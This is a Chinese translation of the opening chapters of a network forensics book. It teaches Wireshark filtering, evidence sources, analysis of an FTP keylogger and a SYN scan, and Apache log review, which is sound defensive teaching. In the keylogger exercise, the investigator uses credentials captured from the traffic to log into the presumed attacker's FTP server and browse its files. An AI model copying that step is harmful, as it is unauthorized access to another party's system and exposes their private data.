网络取证实用指南-全-

网络取证实用指南（全）

原文：annas-archive.org/md5/83030fcbe055800b560391f2c85e3f4b

译者：飞龙

协议：CC BY-NC-SA 4.0

前言

网络取证是数字取证的一个子集，涉及网络攻击及其调查。在网络攻击和恶意软件威胁的时代，掌握调查网络攻击和漏洞所需的技能比以往任何时候都更加重要。

网络取证实战从网络取证的核心概念开始，包括编码、网络、取证工具以及取证调查的方法论。接下来，您将探讨用于网络取证的工具，随后了解如何将这些工具应用于 PCAP 文件并撰写相关报告。除此之外，您还将了解如何使用统计流分析、网络枚举、隧道化和加密、恶意软件检测来调查网络。到书本的最后，您将发现网络关联的工作原理，以及如何将来自不同类型网络设备的信息汇总起来。

到本书结束时，您将获得进行取证分析任务的实战经验。

适合读者群体

本书适用于事故响应人员、网络工程师、分析师、取证工程师和网络管理员，旨在帮助他们将知识从初学者水平提升到能够理解网络协议背后的科学以及事故中的关键指标，并能够进行网络上的取证搜索的水平。

本书涵盖内容

第一章，介绍网络取证，为您奠定网络取证的基础，并重点讲解有助于理解网络异常和行为的关键概念。

第二章，技术概念与证据获取，专注于发展一些网络取证的基础知识和洞察力。本章将讨论 IP 协议族、证据收集以及通过动手实践练习进行的互联网络学习。

第三章，深度数据包检查，专注于与广泛使用的协议相关的关键概念，如动态主机配置协议（DHCP）、简单邮件传输协议（SMTP）和超文本传输协议（HTTP）。

第四章，统计流分析，演示统计流分析、数据收集与聚合以及协议和流记录导出协议。

第五章，应对隧道化和加密，专注于网络隧道化、相关概念以及从网络取证角度的分析。

第六章，调查良性、已知及恶性恶意软件，重点讨论了利用各种工具和技术对感染网络进行恶意软件法医分析。它讨论了许多现代恶意软件示例、其作案方式，并专注于培养在与恶意软件相关的网络行为和模式调查中的技能。

第七章，调查 C2 服务器，聚焦于命令与控制（C2）服务器，它们在网络上的执行，广泛使用的 C2 生态系统，以及在处理基于 C2 的恶意软件时需要关注的最关键标识符。

第八章，调查与分析日志，主要专注于处理各种日志类型并收集输入，从而最终帮助您的网络法医分析工作。

第九章，WLAN 法医分析，强调了与 Wi-Fi 法医分析相关的关键概念，并讨论了各种数据包结构和证据来源，同时帮助您找到恶意接入点并识别攻击模式。

第十章，自动化证据聚合与分析，专注于开发脚本、工具、隔离技术和自动化方法，处理大量证据集。本章还通过编程在自动化手动技术的同时，强调了读取网络数据包和 PCAP 的洞察。

为了最大程度地利用本书

本书详细介绍了实用的法医方法，并以简单的方式解释了技术。内容的组织方式使得即使是仅具备基本计算机技能的用户，也能检查设备并提取所需数据。Windows 计算机将有助于成功地重复本书中定义的方法。如果可能，提供了所有计算机平台的方法。

下载彩色图片

我们还提供了一个 PDF 文件，其中包含本书中使用的截图/图表的彩色图片。您可以在此处下载：www.packtpub.com/sites/default/files/downloads/9781789344523_ColorImages.pdf。

使用的约定

本书中使用了许多文本约定。

CodeInText：表示文本中的代码词、数据库表名、文件夹名、文件名、文件扩展名、路径名、虚拟 URL、用户输入和 Twitter 用户名。这里有一个例子：“我们可以看到 MDNS 协议通过端口5353进行通信。”

一段代码如下所示：

#!/usr/bin/env python
# Author: Nipun Jaswal
from prettytable import PrettyTable
import operator
import subprocess

任何命令行输入或输出均如下所示：

SET global general_log = 1;

粗体：表示一个新术语、一个重要单词或您在屏幕上看到的单词。例如，菜单或对话框中的单词在文本中会像这样出现。这里有一个例子：“类似地，如果您需要打开一个数据包捕获文件，您可以按the

打开按钮，浏览到捕获文件，并在 Wireshark 工具中加载它。"

警告或重要说明会以这种方式出现。

提示和技巧以这种方式呈现。

联系我们

我们始终欢迎读者的反馈。

一般反馈：如果您对本书的任何方面有疑问，请在邮件主题中提及书名，并通过customercare@packtpub.com与我们联系。

勘误：尽管我们已尽力确保内容的准确性，但错误仍然会发生。如果您在本书中发现错误，请向我们报告。请访问 www.packt.com/submit-errata，选择您的书籍，点击“勘误提交表单”链接，并填写相关信息。

盗版：如果您在互联网上遇到我们作品的任何非法复制品，请向我们提供该位置地址或网站名称。请通过copyright@packt.com联系我们，并附上相关材料的链接。

如果您有兴趣成为作者：如果您在某个领域拥有专业知识，并且有兴趣撰写或参与编写书籍，请访问 authors.packtpub.com。

评价

请留下评价。在您阅读并使用本书后，为什么不在您购买本书的网站上留下评价呢？潜在的读者可以看到并参考您的公正意见作出购买决策，我们 Packt 也能了解您对我们产品的看法，而我们的作者则能看到您对他们书籍的反馈。谢谢！

欲了解更多关于 Packt 的信息，请访问 packt.com。

免责声明

本书中的信息仅用于道德方式。请不要

如果没有获得所有者的书面许可，您不得使用本书中的任何信息

设备的使用。如果您进行非法行为，您可能会被逮捕并

如果您滥用本书中的任何信息，您将受到法律的追诉。Packt 出版公司对此不承担任何责任。

如果您滥用本书中包含的任何信息，本书中的信息必须由

仅在具有适当书面授权的测试环境中使用

适当的负责人负责。

第一部分：获取证据

本节重点讲解网络取证的基础知识，并涵盖进行网络取证调查时涉及的基本概念、工具和技术。

本节将涵盖以下章节：

  • 第一章，网络取证介绍

  • 第二章，技术概念与证据获取

第一章：引入网络取证

网络取证是数字取证的一个子领域，其中分析的数据是往返于观察系统的网络流量。此类观察的目的是收集信息、获得法律证据、建立事件的根本原因分析、分析恶意软件行为等。熟悉数字取证与事件响应（DFIR）的专业人员知道，即使是最小心的嫌疑人也会留下痕迹和证据。但取证通常还包括对系统进行内存和硬盘的镜像，以便后续分析。那么，网络取证如何融入其中呢？我们为什么需要进行网络取证？这个问题的答案相对简单。

假设你正在寻找一些未知的攻击者，这些攻击者存在于一个包含成千上万台系统的大型企业基础设施中。在这种情况下，几乎不可能对每台系统进行镜像和分析。以下两个场景也会带来问题：

  • 硬盘驱动器可能不可用的情况

  • 攻击正在进行时，你可能不希望暴露攻击者

每当发生网络入侵或数字犯罪时，无论是否成功，留下的证据可以帮助我们理解并重建攻击者的意图，以及攻击者所执行的操作。

如果攻击成功，攻击者在系统上进行了哪些活动？接下来发生了什么？通常，大多数严重的攻击，如高级持续性威胁（APT）、勒索软件、间谍活动等，都是从一次未经授权的网络入侵开始的，然后演变成攻击者的长期项目，直到他们的目标实现；然而，在此期间，进出网络的信息会经过许多不同的设备，如路由器、防火墙、集线器、交换机、Web 代理等。我们的目标是识别并分析所有这些不同的证据。在本章中，我们将讨论以下内容：

  • 网络取证方法

  • 证据来源

  • 一些必要的案例研究，展示实际操作中的网络取证

技术要求

为了进行本章的练习，你需要以下设备：

每次调查都需要一个精确的方法论。我们将在下一节中讨论广泛应用于行业中的网络取证方法论。

要在 Windows 上安装 Wireshark，请访问：www.wireshark.org/docs/wsug_html_chunked/ChBuildInstallWinInstall.html。

网络取证调查方法论

为确保网络取证演练结束时的结果准确且有意义，作为取证调查员，你必须遵循一个严格的方法框架。该路径如下图所示：

获取信息、制定策略、收集、分析和报告（OSCAR）是确保适当且持续结果的一个框架。让我们从网络取证的角度来看每个阶段：

  • 获取信息：在网络取证演练中，获取关于事件和环境的信息是最先要做的事情之一。此阶段的目标是让取证调查员熟悉事件的类型。事件的时间戳和时间线、涉及的人员、系统和终端——所有这些信息对于构建事件的详细图像至关重要。

  • 制定策略：在网络取证场景中，规划调查是一个至关重要的阶段，因为来自不同设备的日志可能会有所不同；例如，防火墙的日志条目的波动性与系统的 ARP 信息等详细数据的波动性将非常不同。良好的策略将影响调查的整体结果。因此，在制定整个取证调查过程的策略时，你应该牢记以下几点：

    • 明确目标和时间线

    • 查找证据来源

    • 分析来源的成本和价值

    • 优先考虑获取

    • 为客户规划及时更新

  • 收集：在之前的阶段，我们已经讨论了如何制定策略并规划证据的获取。在收集阶段，我们将按照计划进行证据的获取；然而，收集证据本身要求你记录所有访问和使用的系统，捕捉并将数据流保存到硬盘上，并从服务器和防火墙收集日志。证据收集的最佳实践包括以下几点：

    • 制作证据副本并生成加密哈希值以确保可验证性

    • 永远不要在原始证据上工作；应使用数据的副本

    • 使用行业标准工具

    • 记录所有操作

  • 分析：分析阶段是核心阶段，你将在这一阶段开始处理数据并尝试解答难题。在此阶段，你将利用多种自动化和手动技术，使用各种工具来关联来自不同来源的数据，建立事件时间线，消除误报，并创建支持证据的工作理论。在本书中，我们将花费大部分时间讨论数据分析。

  • 报告：你所撰写的报告必须使用通俗易懂的语言——也就是说，它应该能够被非技术人员理解，比如法律团队、律师、陪审团、保险团队等。报告应包含由技术证据支持的执行摘要。这个阶段被认为是至关重要的，因为接下来的四个步骤需要在这一阶段中进行解释。

要了解更多关于 OSCAR 方法论的信息，可以访问www.researchgate.net/figure/OSCAR-methodology_fig2_325465892。

网络证据的来源

网络证据可以从各种来源收集，我们将在下一节中讨论这些来源。我们将讨论的来源包括：

  • 监听电缆和空气

  • 网络交换机上的 CAM 表

  • 路由器上的路由表

  • 动态主机配置协议日志

  • DNS 服务器日志

  • 域控制器/认证服务器/系统日志

  • IDS/IPS 日志

  • 防火墙日志

  • 代理服务器日志

监听电缆和空气

捕获信息最原始、最纯粹的形式之一是通过在网络和光纤电缆上放置监听点来窃听流量。

许多商业供应商在其设备上提供网络监听点和 SPAN 端口，以便窃听，他们将把在特定端口上看到的所有流量转发到分析系统。以下图示展示了这一技术：

对于 WLAN 或 Wi-Fi，捕获可以通过将外部无线接收器设置为混杂模式来完成，并记录特定无线接入点在特定频道上的所有流量。以下图示展示了这一技术：

网络交换机上的 CAM 表

网络交换机包含内容寻址存储器表，用于存储系统的 MAC 地址与物理端口之间的映射。在大型设置中，这个表非常有用，因为它可以根据物理端口的映射将网络上的 MAC 地址定位到墙面插座的系统。交换机还提供网络镜像功能，允许调查人员查看来自其他 VLAN 和系统的所有数据。

路由器上的路由表

路由器中的路由表将路由器的端口映射到它们连接的网络。以下是一个路由表，这些表格可以帮助我们调查网络流量在不同设备间传输时的路径：

大多数路由器都内置有数据包过滤和防火墙功能。这意味着它们可以配置为记录被拒绝或特定类型的网络流量。

动态主机配置协议日志

动态主机配置协议（DHCP）服务器通常会记录特定 IP 地址分配给特定 MAC 地址时的条目、网络上租约续期的时间戳等，这些信息在网络取证中具有重要价值。以下是路由器的 DHCP 表格截图，列出了动态分配的主机：

DNS 服务器日志

域名服务器查询日志可以帮助理解特定时间点的 IP 到主机名解析。假设在网络中的系统一旦感染了恶意软件，它便尝试连接到某个域名进行命令与控制。我们来看下面的一个示例：

从前面的截图中我们可以看到，malwaresamples.com网站的 DNS 请求已经被解析，且返回了解析后的 IP 地址。

获取 DNS 查询包可以揭示网络上特定恶意软件的攻击迹象，同时迅速显示发起查询的系统的 IP 地址，从而可以轻松处理。

域控制器/认证服务器/系统日志

认证服务器允许调查人员查看登录尝试、登录时间以及网络中各种与登录相关的活动。假设一组攻击者试图利用受感染的主机通过该受感染机器作为跳板（Pivoting）登录到数据库服务器。在这种情况下，认证日志将迅速揭示出不仅仅是受感染的系统，还能显示该系统尝试连接数据库服务器的失败/成功次数。

入侵检测/防御系统日志

从取证角度来看，入侵检测/防御系统日志是最有用的。IDS/IDPS 日志不仅提供 IP 地址，还包括匹配的签名、正在进行的攻击、恶意软件存在情况、命令和控制服务器、源系统和目标系统的 IP 及端口、时间线等更多信息。本书后半部分将详细介绍 IDS/IPS 场景。

防火墙日志

防火墙日志提供了网络活动的详细视图。防火墙解决方案不仅可以保护服务器或网络免受不必要的连接，还可以帮助识别流量类型，提供出站端点的信任评分，阻止不需要的端口和连接尝试等等。在接下来的章节中，我们将更详细地讨论防火墙。

代理服务器日志

网络代理也是取证调查员最有用的功能之一。Web 代理日志有助于揭示内部威胁，同时提供有关事件的详细信息，例如上网习惯、基于 Web 的恶意软件来源、用户在网络上的行为等。

既然我们已经对可以考虑进行分析的各种日志类型有所了解，那么让我们快速熟悉一下 Wireshark 的基础知识。

Wireshark 基础

对 Wireshark 基础有所了解的读者可以跳过这一部分，直接进入案例研究；然而，对于那些不熟悉基础知识或需要复习 Wireshark 基础的读者，可以继续阅读这一部分。让我们来看看 Wireshark 一些最基本的功能。请看以下截图：

Wireshark

一旦我们执行 Wireshark，屏幕上会呈现出类似于前面图片的界面。在左侧，我们可以看到可用的接口列表，用于捕获数据包。中间是最近的数据包捕获文件，右侧则是在线帮助和用户指南。要开始新的数据包捕获，你可以选择一个接口，例如，如果你是通过有线连接，则选择以太网接口；如果你是通过无线网络连接，则选择 Wi-Fi 接口。同样，如果需要打开一个数据包捕获文件，可以点击“打开”按钮，浏览到捕获文件，并将其加载到 Wireshark 工具中。让我们通过选择 Wi-Fi 接口并按下开始按钮来捕获无线接口的数据包，如下图所示：

从前面的截图中我们可以看到，网络中有各种类型的数据包在流动。接下来，我们将了解 TCP 会话、端点以及 Wireshark 的基本过滤器。

识别会话和端点

你可能想查看你的系统正在与哪些 IP 端点进行通信。为此，你可以导航到“统计”标签，并选择“会话”，如以下截图所示：

我们可以看到有多个端点正在进行通信，端点之间传输的字节数以及它们数据交换的持续时间。当你想要调查恶意流量并识别被联系的关键端点时，这些选项非常有用。此外，我们还可以看到，在前面的截图中，大部分通信都涉及到192.168.1.15，但我们可能无法识别它所通信的 IP 地址。

我们还可以使用统计标签中的端点选项，正如以下截图所示：

从前面的截图中，我们可以看到所有端点，使用数据包数量对它们进行排序将帮助我们清晰地了解哪些端点传输的数据包最多，在分析异常网络行为时，这一点非常有用。

识别 IP 端点

域名的发明是为了让人们更容易记住带有常见短语的网站。如果在前一节中列出了 IP 地址，我们可能根本无法理解，但如果列出了将 IP 地址解析为域名的列表，则会对我们大有帮助。点击“显示地址解析 / 解析后的地址”选项后，我们将看到以下内容：

好的，现在一切都变得合情合理了，因为我们有一个列出了域名解析的 IP 地址列表，这将帮助我们排除误报。我们在前面的端点部分看到，数据包数量第二多的端点来自 162.125.34.6。由于我们不清楚这个 IP 地址代表什么，我们可以轻松地通过地址解析查找，发现它是 dropbox-dns.com，看起来很可疑。让我们通过在 Google 上搜索 client.dropbox-dns.com 来查找它，浏览搜索结果中的第一个链接，得到以下信息：

从前面的搜索结果（官方的 Dropbox 网站，www.dropbox.com/）中可以看出，该域名是一个合法的 Dropbox 域名，来自该域的流量是安全的（假设网络上允许使用 Dropbox，或仅限特定用户群体，且流量仅与这些用户相关）。这个解析不仅帮助我们识别域名，还能揭示运行在目标系统上的软件信息。我们已经确认 Dropbox 正在该系统上运行。在 Wireshark 的 解析后的地址 窗格中，我们还识别出了以下域名：

  • 一个正在访问的 Gmail 账户

  • 一个 Qihoo 360 杀毒软件

  • 一个 HDFC 银行账户

  • Grammarly 插件

  • Firefox 浏览器

基本过滤器

网络取证要求你精确定位各种数据包，以便为调查建立清晰的视角。让我们通过以下步骤来探索如何实现这一点：

在 Wireshark 中设置一些基本的显示过滤器，以便仅查看感兴趣的包，如下图所示：

我们可以看到，直接输入 dns 作为过滤器将只显示 DNS 数据包；然而，我们也可以看到 MDNS 协议数据包同样被显示出来。

考虑到我们只需要 DNS 数据包，而不需要 MDNS 协议数据包，我们可以设置过滤器为 dns && !mdns，其中 ! 表示 NOT 操作，如下图所示：

从这可以看出，我们没有针对 MDNS 的精确过滤器。那么，我们该如何过滤掉 MDNS 数据包呢？我们可以看到，MDNS 协议是通过端口 5353 进行通信的。让我们过滤掉该端口，而不是使用 !mdns 过滤器，如下图所示：

我们可以看到，提供过滤器 dns and !(udp.port eq 5353) 会仅显示 DNS 数据包。在这里，eq 表示等于，! 表示 NOT，udp.port 表示 UDP 端口。这意味着，通俗来说，我们要求 Wireshark 过滤 DNS 数据包，同时移除所有通过 UDP 端口 5353 通信的数据包。

在 Wireshark 的最新版本中，mdns 是一个有效的协议，显示过滤器如 dns && !mdns 可以正常工作。

类似地，对于 HTTP，我们可以输入 http 作为过滤器，如下图所示：

然而，我们也有 OCSP 和 简单服务发现协议（SSDP）协议数据与从流中过滤出来的数据一起显示。为了过滤掉 OCSP 和 SSDP 协议数据，我们可以输入 http && !ocsp，由于 SSDP 与 MDNS 协议类似，我们可以输入 !udp.port==1900。因此，整个过滤器变为 http && !ocsp && !udp.port==1900，如下图所示：

从中我们可以看到，我们已经成功过滤了 HTTP 数据包。但是我们能否在其中搜索并仅过滤 HTTP POST 数据包呢？当然可以，使用表达式 http contains POST && !ocsp 如下图所示。

我们可以看到，提供 HTTP contains POST 过滤器可以过滤掉所有非 HTTP POST 请求。让我们通过右键点击并选择跟踪 HTTP 流的选项来分析该请求，如下图所示：

我们可以看到，这看起来像是一个已经发送出去的文件，但由于它有 x-360-cloud-security-desc 等标头，看来是云端防病毒在扫描网络中发现的可疑文件。

让我们记下该 IP 地址，并与地址解析结果进行匹配，如下图所示：

好吧，这次地址解析失败了。让我们在who.is/上搜索该 IP，如下图所示：

是的，它属于 360 安全卫士。

我们还可以根据响应代码选择 HTTP 数据包，如下图所示：

我们可以看到，我们已经使用http.response.code==200过滤了数据包，其中200表示状态正常响应。在调查来自受感染服务器的数据包捕获时，这非常有用，因为它为我们提供了已访问文件的清晰图像，并展示了服务器如何响应特定请求。

它还允许我们判断已实现的保护措施是否正常工作，因为在收到恶意请求时，大多数情况下，保护防火墙会返回 404（未找到）或 403（禁止）响应代码，而不是 200（正常）。

现在，让我们进入一些案例研究，并利用我们刚刚学到的基础知识。

练习 1 – 新手键盘记录器

假设攻击者在网络中的某个系统上安装了一个键盘记录器。作为调查员，你的任务是找到以下信息：

  • 查找感染的系统

  • 跟踪数据到服务器

  • 查找正在发送的数据的频率

  • 查找除了击键之外还携带的其他信息

  • 尝试揭示攻击者

  • 提取并重构发送给攻击者的文件

此外，在本练习中，你需要假设数据包捕获（PCAP）文件不可用，你还需要执行嗅探的部分。假设你连接到网络中的镜像端口，可以看到所有流入和流出网络的数据。

此网络捕获的捕获文件可以在github.com/nipunjaswal/networkforensics/blob/master/Ch1/Noobs%20KeyLogger/Noobs%20Keylogger.pcap找到。

我们可以按照以下方式开始我们的过程。我们已经知道我们是通过镜像端口连接的。让我们在选择的接口上嗅探。如果连接到镜像端口，请选择默认接口并继续收集数据包，如下图所示：

大多数键盘记录器通过 Web（HTTP）、FTP 和电子邮件将击键信息发送回攻击者。我们将尝试这些协议，检查这些协议的包是否有任何异常。

让我们首先尝试设置http过滤器，如下图所示：

有 HTTP 数据，但一切似乎正常。

让我们尝试几种协议，SMTP 和 POP，以检查电子邮件协议是否有任何异常，如下图所示：

这里看起来也一切正常。

让我们尝试 FTP，如下图所示：

FTP

好的，FTP 上有很多活动！我们可以看到 FTP 数据包中包含了USER和PASS命令，这表示进行了服务器的登录活动。当然，这可能是键盘记录器的操作，也可能是网络上某个用户的合法登录。此外，我们还可以看到STOR命令，它用于将文件存储到 FTP 服务器上。不过，让我们记下凭证和上传文件的文件名以供参考，并进一步调查。因为我们知道STOR命令用于将数据存储到服务器上。

让我们通过将过滤器更改为ftp-data来查看这些数据包，如下图所示：

将过滤器更改为 ftp-data

ftp-data将主要包含传输的文件和数据，而不是所有其他 FTP 命令。

让我们查看当我们跟踪数据包的 TCP 流时，我们可以看到发送到服务器的数据如下：

我们可以看到传输的数据中包含了Ardamax这个词，它是一个常见的键盘记录软件的名称，用于记录系统中的按键并将其发送回攻击者。现在，我们可以通过选择文件 | 另存为并选择.pcap格式来保存数据包捕获。我们只会使用.pcap格式，因为 NetworkMiner 的免费版本只支持 PCAP 文件，不支持pcapng格式。

让我们使用 NetworkMiner 打开保存的文件，如下图所示：

使用 NetworkMiner 打开保存的文件

我们可以看到网络捕获中有多个主机。

让我们切换到“凭证”标签，如下图所示：

我们可以看到，在 NetworkMiner 的凭证标签下，我们已经捕获到的用户名和密码显示在 PCAP 文件中。我们之前看到的STOR命令，通常用于从 Wireshark 转储上传文件到 FTP。

让我们浏览到“文件”标签，查看我们感兴趣的文件：

文件标签

我们可以看到很多文件。让我们打开通过STOR命令在浏览器中找到的文件，如下图所示：

攻击者不仅在进行键盘记录，还在获取诸如活动窗口标题等细节信息以及键盘记录。因此，总结一下，我们可以回答在练习开始时提出的问题：

  • 找到受感染的系统：192.168.76.131

  • 追踪数据到服务器：140.82.59.185

  • 查找发送数据的频率：对于类似文件类型的两个连续 STOR 命令之间的时间差为 15 秒

  • 查找键击之外携带的其他信息：活动窗口标题

  • 尝试揭示攻击者：尚未找到

  • 提取并重建发送给攻击者的文件：Keys_2018-11-28_16-04-42.html

我们掌握了关于黑客的大量信息。此时，我们可以将我们分析中找到的细节提供到报告中，或者我们可以更进一步，尝试揭示攻击者的身份。如果您选择这样做，那么让我们开始查找如何揭示此信息。

登录到您未授权访问的计算机可能会导致刑事处罚（罚款、监禁或两者兼施）。

我们已经在服务器中找到了他们的凭证。让我们尝试登录 FTP 服务器，看看能否找到感兴趣的内容，如下图所示：

我们可以看到，我们轻松地能够登录到服务器。让我们使用 FTP 客户端，比如 Mac 上的 Royal TSX（Windows 上的 FileZilla），查看服务器上的文件，如下图所示：

哇！记录了这么多信息；然而，我们可以看到有两个名为 John 和 Jo 的目录。目录 Jo 是空的，但我们可能会在名为 John 的目录中找到一些东西。

让我们查看 John 目录的内容，如下图所示：

看起来攻击者正在申请工作，并将其更新的简历保存在他们的服务器上。案例研究分析证明该键盘记录器是个新手。在回答有关攻击者身份的最后一个问题时，我们已经成功完成了第一次网络取证分析练习。我们找到的简历可能也被盗自其他人。然而，这只是冰山一角。在接下来的章节中，我们将会看到各种复杂的场景；这只是一个简单的例子。

在下一个示例中，我们将查看 TCP 包并尝试弄清楚是什么事件导致了这样的网络流量。

练习 2 – 太多了

让我们分析另一个来自github.com/nipunjaswal/networkforensics/blob/master/Ch1/Two%20to%20Many/twotomany.pcap的捕获文件，目前我们对其细节一无所知，并尝试重建事件链。

我们将在 Wireshark 中打开 PCAP 文件，如下所示：

从前面的截图中，我们可以看到大量 SYN 包被发送到64.13.134.52的 IP 地址。然而，仔细观察，我们可以看到大多数包是周期性地从单个端口（36050和36051）发送到几乎每个端口的64.13.134.52。没错，你猜对了：这看起来像是一个端口扫描。最初，SYN 包被发送出去，收到 SYN/ACK 后，端口被认为是开放的。

我们知道，源 IP 地址172.16.0.8是一个内部地址，而被访问的服务器是64.13.134.52。你能猜出以下内容吗？：

  • 扫描类型

  • 打开的端口

回答第一个问题需要对基于 TCP 的通信及其建立有更深入的了解，TCP 通过三次握手来工作，这意味着当接收到来自源 IP 地址的同步（SYN）包时，目标 IP 地址会发送一个同步/确认（SYN/ACK）包，接着源 IP 地址会发送一个最终的确认（ACK）包来完成三次握手。然而，正如我们从前面的截图中看到的那样，仅仅从端口80返回了一个 SYN/ACK 包，并且源 IP 地址并没有发送 ACK 包。

这一现象意味着源 IP 地址从未向目标发送 ACK 包，这意味着三次握手的前两步已经完成。这个两步的半开机制导致目标消耗资源，因为端口会在一段时间内保持开放。与此同时，这是通过一种叫做SYN 扫描或半开扫描的扫描类型广泛使用的技术，有时也叫做隐形扫描。像 Nmap 这样的工具利用这种技术来减少网络上数据包的数量。因此，我们可以得出结论，我们正在处理的扫描类型是 SYN 扫描。

Nmap 在半开扫描中定期使用 RST 包，以防止目标的资源被耗尽。

应用过滤器ip.src==64.13.134.5后，我们可以看到来自64.13.134.52的响应。显然，我们收到了来自端口53、80和22的 SYN/ACK 包，这些都是开放端口。我们还可以看到发生了网络丢包，发送方重新发送了数据包。此外，我们可以看到重置确认包（RST），这表示配置错误或应用程序不愿意连接：这种行为的原因可能不同。

总结

在本章中，我们了解了网络取证的基础知识。我们使用 Wireshark 分析了一个键盘记录器和来自端口扫描的包。我们发现了各种类型的网络证据源，并且学习了在进行网络取证时应该遵循的基本方法论。

在下一章中，我们将学习协议的基础知识，以及用于获取证据的其他技术概念和策略，并且我们将进行相关的动手练习。

上述捕获文件的所有归功于 Chris Sanders 的 GitHub 仓库，网址为 github.com/chrissanders/packets。

问题与练习

为了提升你在网络取证技能上的信心，试着回答以下问题：

  1. ftp 和 ftp-data 在 Wireshark 中的显示过滤器有什么区别？

  2. 你能为包含特定关键字的网页构建一个 http 过滤器吗？

  3. 我们使用 NetworkMiner 从 PCAP 文件中保存了数据。你能用 Wireshark 完成这个操作吗？（是/否）

  4. 尝试用 Tshark 重复这些练习。

深入阅读

有关 Wireshark 的更多信息，请参阅 www.packtpub.com/networking-and-servers/mastering-wireshark

第二章：技术概念与证据获取

在上一章，我们学习了各种类型的证据来源。在本章中，我们将详细了解这些来源。我们将熟悉不同类型日志格式的基础知识，并了解进行网络取证所需的各种技术关键概念。

本章将涵盖以下主题：

  • 网络互联基础知识

  • 接触各种类型的日志

  • 日志和数据包结构的案例分析

那么，让我们从网络互联的基础开始，了解如何根据 OSI 网络模型进行通信。

技术要求

为了完成本章所示的练习，您将需要以下软件：

网络互联基础知识

开放系统互联（OSI）模型是为基于网络的数字通信而构建的，并考虑到灵活性和模块化。OSI 模型是一个七层设计，从物理层开始，直到应用层结束。OSI 层的高级图示如下：

七层模型负责各种不同的通信标准，如下所示：

  • 在物理层，我们通常讨论的是电缆、集线器、光纤、同轴电缆和连接器，这些是数据的实际物理载体，数据以比特的形式表示。

  • 在数据链路层，我们有802.11、WI-MAX、ATM、以太网、令牌环、PPTP、L2TP等，它们可以在节点之间建立和终止连接。数据以帧的形式表示。

  • 在网络层，我们有IPv4、IPv6、OSPF、ICMP和IGMP协议集，它们管理逻辑和物理地址映射、路由和帧分片。数据以包的形式表示。

  • 在传输层，我们有TCP和UDP，它们允许消息分段、消息确认、主机到主机的通信和消息流量控制。数据以段的形式表示。

  • 在会话层，我们有SAP、PPTP、RTP和SOCKS。它负责会话的建立、维护和终止。

  • 表示层包括SSL/TLS、WEP、WPA、Kerberos、MIME等实现，通常负责字符编码转换、数据会话、压缩和加密。

  • 在应用层，我们有DHCP、FTP、HTTP、IMAP、POP3、NTP、SSH和TELNET等终端用户程序。

OSI 模型和 TCP/IP 模型可以如下图所示整体查看：

OSI 模型和 TCP/IP 模型的映射并不完美。例如，SSL/TLS 包含了表示层和会话层的元素。从启动任何与外界通信的应用程序开始，所有数据都经过前面讨论的各层。考虑一个场景，你想浏览某个特定网站。

  1. 在这种情况下，当你在浏览器中输入一个网站地址时，这是一个第七层的应用程序，域名会解析成 IP 地址。

  2. 一旦你获得了目标的 IP 地址，数据就被封装在 TCP/UDP 数据结构中，包含 TCP/UDP 头信息，然后传递给传输层，在这里操作系统将源和目标端口的数据嵌入到数据包结构中。

  3. 接下来，结构被传递到网络层，源 IP 地址和目标 IP 地址被嵌入到结构中，并封装在 IP 数据包内。

  4. 整个数据包在第二层被转换成以太网帧，然后最终以比特流的形式通过线缆传输。

  5. 在接收端，首先将比特流转换成以太网帧，去除第二层信息后，发送到网络层。

  6. 在网络层，检查数据包是否是系统所需的，如果是，系统会去除第三层信息，即 IP 包头，并将其推送到第四层，操作系统识别目标端口号并将其交付给相应端口。

  7. 从这里，操作系统识别端口，去除 TCP 头信息，检查哪个程序在该端口上监听，并将有效负载传递给应用程序。

然而，当信息从一个点传输到另一个点时，它会在途中各个设备上留下痕迹（日志）。这些设备可能是防火墙、代理服务器、路由器、交换机或应用服务器，由于我们在上一章中已讨论了一些基于数据包的网络取证，接下来我们来看看基于日志的证据场景。

有关 OSI 模型的更多信息，请参阅 www.webopedia.com/quick_ref/OSI_Layers.asp。

基于日志的证据

在上一章中，我们研究了定义动态证据或捕获的数据的各种网络协议捕获。然而，对于网络取证调查员来说，了解在数据传输过程中各端点生成的不同类型日志非常重要。当场景中没有网络捕获数据时，这些日志显得尤为重要，调查员需要依靠这些日志来推理、得出结论并完成取证调查。假设一家名为 Acme Inc.的公司遭遇了通过其网站的大规模客户数据泄露，而公司并没有保存任何有关进入数据的包捕获文件。在这种情况下，取证调查完全依赖于在各端点生成的日志，如应用服务器、数据库和防火墙，正如下图所示：

在前述场景中，我们看到攻击者攻击了一个外部托管的应用服务器，该服务器与一个内部网络进行连接，以访问数据库，该数据库对外部世界的连接有限，除了应用服务器之外。

在这种情况下，以下一组问题需要回答：

  • 攻击者是如何渗透到应用服务器的？

  • 为什么防火墙允许外部攻击者访问？

  • 攻击者在数据库上执行了哪些查询？

  • 攻击者是否修改了数据库？

  • 我们能否识别出攻击的来源？

为了回答前述问题，我们需要访问外部应用服务器的日志，由于防火墙允许攻击者访问，我们还需要访问防火墙日志。攻击者在数据库上执行了查询，因此我们还需要访问数据库日志。

应用服务器日志

正如我们在前面的场景中所见，攻击的第一点是外部托管的应用服务器。我们来看一下常见的应用服务器（如Apache和NGINX）生成的日志，并分析我们从这些日志中可以得出的结论：

在前面的截图中，我们可以看到 Apache 访问日志文件，通常存储在/var/log/apache2/access.log路径下。我们可以看到应用程序的各种请求。日志记录的格式是特定的，包括 IP 地址、日期和时间、请求类型、请求的资源文件、HTTP 版本、响应代码、响应长度和用户代理。由于前一个请求的用户代理是DirBuster，这表明攻击者正在使用DirBuster扫描目录，以寻找有趣的路径并发现 Web 应用程序中的隐藏目录。类似的日志也可以在error.log文件中找到：

然而，这个日志文件包含请求生成的错误条目。正如我们所见，错误大多是权限拒绝错误，这将导致 403 响应状态，这意味着请求的资源被禁止。从原始日志文件中查看对我们意义不大，即使文件只有 10MB，调查日志也会很麻烦。因此，为了进一步调查并深入得出结论，我们将使用自动化工具，如 Apache Logs Viewer (www.apacheviewer.com/features/)：

我们通过将访问/错误日志文件添加到软件中来分析日志：

我们可以看到，一旦打开日志文件，软件会要求我们定义任何额外的选项，例如 LogFormat 和日期范围。在此分析中选择 Common（默认），然后点击 OK 继续：

我们可以看到，我们已经轻松解析了日志文件，并且现在可以对其应用各种过滤器，比如仅列出来自特定 IP 的数据包或具有特定响应代码的响应状态。在接下来的章节和练习中，我们将更多地使用 Apache Logs Viewer。

如果您拥有正版日志查看器的许可证，还可以使用凭证远程添加文件，日志查看器可以从 Apache Logs Viewer 网站购买，网址是 www.apacheviewer.com/unlock/。

数据库日志

